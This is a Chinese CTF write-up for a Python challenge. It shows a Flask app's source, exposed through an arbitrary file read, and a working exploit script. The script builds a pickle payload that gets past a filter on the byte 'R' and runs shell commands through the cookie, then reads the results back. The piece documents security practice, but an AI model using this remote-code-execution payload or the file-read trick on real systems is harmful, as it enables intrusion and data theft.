1. 程式人生 > 其它 >[第一屆長城杯]-ez-python

[第一屆長城杯]-ez-python

----這道題似曾相識,和某刃的題目不能說不同,簡直就一摸一樣

----考點:pickle序列化問題,命令執行

----正常訪問網站,原始碼F12給出?pic=的提示,這種大致一看就是可以任意檔案訪問,再加上原本給的提示,網站用的flask框架開發,於是直接訪問?pic=/app/app.py

----得到的base64解碼就是檔案原始碼:

import pickle
import base64
from flask import Flask, request
from flask import render_template,redirect,send_from_directory
import
os import requests import random from flask import send_file app = Flask(__name__) class User(): def __init__(self,name,age): self.name = name self.age = age def check(s): if b'R' in s: return 0 return 1 @app.route("/") def index(): try: user = base64.b64decode(request.cookies.get('
user')) if check(user): user = pickle.loads(user) username = user["username"] else: username = "bad,bad,hacker" except: username = "CTFer" pic = '{0}.jpg'.format(random.randint(1,7)) try: pic=request.args.get('pic') with open(pic,
'rb') as f: base64_data = base64.b64encode(f.read()) p = base64_data.decode() except: pic='{0}.jpg'.format(random.randint(1,7)) with open(pic, 'rb') as f: base64_data = base64.b64encode(f.read()) p = base64_data.decode() return render_template('index.html', uname=username, pic=p ) if __name__ == "__main__": app.run('0.0.0.0',port=8888)

最後給出程式碼,因為這道題和某刃那道一摸一樣,直接拿了別人指令碼:

import requests
import pickle
import base64
#e = 'ls / -a'
e = 'cat /flagggggggggggggaaa'
s = pickle.dumps(e)
# print(s)
payload = b'c__main__\nUser\n)\x81}(V__setstate__\ncos\nsystem\nubV' + \
    e.encode()+b' > /tmp/test.txt\nb.'
print(payload)
response = requests.get("http://eci-2zeb5ty7ty8rs9tm0aps.cloudeci1.ichunqiu.com:8888/?pic=/tmp/test.txt",
cookies=dict(
    user=base64.b64encode(payload).decode()))
for l in response.content.decode().split("\n"):
    if "base64" in l:
        l = l.split("\"")[1].split(",")[1]
        print(base64.b64decode(l).decode())

參考文章:從零開始python反序列化攻擊:pickle原理解析 & 不用reduce的RCE姿勢

參考文章:雪姐姐的部落格-網刃杯-ez-web


最後老實說,我不太明白為什麼payload後邊兒要加上/tmp/test.txt這個,是為了填補後面棧的空白?有懂的大哥還麻煩指點下